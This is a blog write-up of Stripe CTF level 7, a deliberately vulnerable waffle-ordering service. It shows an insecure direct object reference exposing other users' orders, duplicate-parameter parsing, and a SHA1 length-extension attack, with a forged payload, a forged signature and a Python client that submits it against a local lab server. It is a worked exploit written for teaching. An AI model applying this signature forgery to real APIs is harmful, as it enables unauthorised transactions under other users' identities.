Stripe CTF: Level #7

Posted on dim. 09 décembre 2012 in Write-up

level07-logo.jpg

You can find the code for this level here.

(sha256: d497f25a620a2ad5e3850bf642cfc1df988e32b612d06f48fffa271912726e86)

This level is the most delicious of all: you can order waffles online, and the company will have them delivered to the location you specified. There are seven types of waffle: veritaffle, belgian, brussels, eggo, chicken (premium), dream (premium), and the king of waffles, liege (premium). You have an unprivileged account (login: ctf, password: password), so you can't order premium waffles. Yet, your goal is to order the supreme waffle: the liege. There are four other users on the website: larry (premium account), randall (premium account), alice and bob. Every user has an ID, and a secret (which has the form of a random string).

level07-ctf-user-interface.png

The company provides you with a client API you can use to order waffles. Every order is of the form: count=XXX&lat=XXX&user_id=XXX&long=XXX&waffle=XXX. Then, a signature is computed using the client's secret, and appended to the order. The signature is of the form:

# File client.py, line 61
def _signature(self, message):
    h = hashlib.sha1()
    h.update(self.api_secret + message)
    return h.hexdigest() # signature = SHA1(secret + message)

We can view our past orders at the URL /logs/id.

level07-ctf-order.png

But what if we change the ID in the URL?

level07-larry-order.png level07-barry-order.png

Bingo, we are now viewing larry's and randall's past orders. But since they didn't order any liege, we can't use these orders as is. Let's see in the code how the order is checked:

# File wafflecopter.py, line 139
def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

That's the code which parse the body of the order. We can see that they don't check if a parameter has been specified more than once. So if you send an order of the form: count=XXX&lat=XXX&user_id=XXX&long=XXX&waffle=XXX&waffle=YYY, the last waffle will be ordered (in this case, YYY).

Great, so we can just take a previous order from larry, append &waffle=liege to the end, and send it to the server! Actually, we can't, because of the signature: if we change the order, but not the signature, they won't match, and the server will refuse to carry our order. So we need to change the signature. But how can we do that without knowing larry's secret? The key here is cryptography.

Like we said earlier, the signature is computed via SHA1(secret + message). But the SHA1 function follows the Merkle–Damgård construction. Basically, the message is broken up in equal blocks of 512 bits. Then, computation is done on the first block and produces an output. This output is used to perform the same computation on the second block, and so on. So, it means that given SHA1(secret + message) and the and the length of secret, we can compute SHA1(secret + message + message_modifier). And that's exactly what we want, to append something (here, &waffle=liege) at the end of the message.

I started searching for a Python implementation of SHA1, and wanted to modify it so that it would compute my forged signature, but it took too much time. Fortunately, two guys I was working with on the CTF, lopi and mark, found a script that could forge the signature for us. The script was taken down since then, but you can find another working one here.

$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature>
<text_to_append>
$ python sha-padding.py 14
"count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo"
78943cff885d4b41ff058aa64a36520e66ffdbbe "&waffle=liege"
new msg:
'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege'
base64:
Y291bnQ9MTAmbGF0PTM3LjM1MSZ1c2VyX2lkPTEmbG9uZz0tMTE5LjgyNyZ3YWZmbGU9ZWdnb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIoJndhZmZsZT1saWVnZQ==
new sig: f7d4b492cc3282cd87e61624ee207ca496e807e4

Now, we just have to make the order:

# File forged_client.py
import pycurl, urllib, StringIO

def order():
    endpoint = 'http://localhost:9233'
    body =
        'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege'
    signature = 'f7d4b492cc3282cd87e61624ee207ca496e807e4'
    body += "|sig:" + signature

    output = StringIO.StringIO()
    curl_object = pycurl.Curl()
    curl_object.setopt(pycurl.URL, endpoint + "/orders")
    curl_object.setopt(pycurl.POST, 1)
    curl_object.setopt(pycurl.POSTFIELDS, body)
    curl_object.setopt(pycurl.WRITEFUNCTION, output.write)
    curl_object.perform()
    curl_object.close()

    resp = output.getvalue()

    return resp

def main():
    print order()

if __name__ == "__main__":
    main()
$ python forged_client.py
{"confirm_code": "dummy-password", "message": "Great news: 10 liege
waffles will soon be flying your way!", "success": true}

w00t!